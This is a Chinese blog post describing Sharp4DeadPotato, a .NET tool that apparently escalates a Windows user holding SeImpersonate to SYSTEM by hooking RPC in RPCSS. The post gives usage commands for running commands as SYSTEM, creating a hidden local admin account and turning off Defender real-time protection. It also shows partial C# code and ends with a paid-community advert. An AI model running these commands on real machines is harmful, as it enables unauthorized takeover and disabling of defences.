.NET 一款新的内网对抗综合利用工具

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4DeadPotato 是 Potato 漏洞利用系列中的一个 Windows 权限提升实用工具。主要通过利用DCOM和 RPCSS的缺陷来获得系统权限。当具有 SeImpersonate 权限的用户在处理 OHAD时,Sharp4DeadPotato 能够提升进程权限至 SYSTEM 级别。这个工具可以通过命令执行、创建管理员账户,甚至关闭 Windows Defender 的实时保护。本文将详细介绍其工作原理、使用方法以及实现代码的解析。

图片

03使用方法

Sharp4DeadPotato 的执行任意命令的使用方法如下:

Sharp4DeadPotato.exe -cmd "whoami"

图片

Sharp4DeadPotato执行创建新的管理员命令的使用方法如下:

Sharp4DeadPotato.exe -newadmin lypd0:DeadPotatoRocks1

该命令将创建用户名为 lypd0,密码为 DeadPotatoRocks1 的本地管理员账户,另外,还可以关闭Windows Defender实时保护。

Sharp4DeadPotato.exe -defender off

04原理解析

Sharp4DeadPotato.exe 的核心原理提供了一个方法 isWindowsDefenderRunning() 来检测 Windows Defender 的实时保护是否开启。该方法通过访问注册表键 SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection 并读取 DisableRealtimeMonitoring 值来判断实时保护状态:

public static bool isWindowsDefenderRunning()
{
    string name = "SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection";
    string name2 = "DisableRealtimeMonitoring";
    RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
    if (registryKey != null)
    {
        object value = registryKey.OpenSubKey(name).GetValue(name2);
        return value == null || !(value is int) || (int)value != 1;
    }
    return false;
}

该方法通过注册表读取 Defender 的实时保护设置,如果 DisableRealtimeMonitoring 值为 1,表示保护关闭;否则表示开启。另外,权限提升的核心代码在 elevateCommand() 方法中,该方法负责启动提权过程并执行用户指定的命令。

public static void elevateCommand(string command, bool displayBanner = true)
{
    TextWriter @out = Console.Out;
    try
    {
        GodPotatoContext godPotatoContext = new GodPotatoContext(@out, Guid.NewGuid().ToString());
        if (Program.verbose)
        {
            @out.WriteLine("[*] CombaseModule: 0x{0:x}", godPotatoContext.CombaseModule);
            @out.WriteLine("[*] DispatchTable: 0x{0:x}", godPotatoContext.DispatchTablePtr);
            @out.WriteLine("[*] UseProtseqFunction: 0x{0:x}", godPotatoContext.UseProtseqFunctionPtr);
            @out.WriteLine("[*] UseProtseqFunctionParamCount: {0}", godPotatoContext.UseProtseqFunctionParamCount);
            @out.WriteLine("[*] HookRPC");
        }
        godPotatoContext.HookRPC();
        if (Program.verbose)
        {
            @out.WriteLine("[*] Start PipeServer");
        }
        godPotatoContext.Start();
        GodPotatoUnmarshalTrigger godPotatoUnmarshalTrigger = new GodPotatoUnmarshalTrigger(godPotatoContext);
        WindowsIdentity token = godPotatoContext.GetToken();
        godPotatoContext.Restore();
        godPotatoContext.Stop();
    }
}

GodPotatoContext:该类负责设置上下文信息,并初始化关键的 RPC 函数和 Hook 机制。HookRPC:在此步骤中,程序通过 Hook RPC 机制来劫持目标调用,利用 RPCSS 中的漏洞。GetToken:获取提升后的 WindowsIdentity,并通过该 Token 来执行命令。

综上,Sharp4DeadPotato 是 Windows 平台上强大的权限提升工具,通过利用RPCSS 服务的漏洞,实现了从普通用户到 SYSTEM 权限的提权。

 05.NET安全星球

目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

图片

星球文化20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

    我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

图片

.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输

图片

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值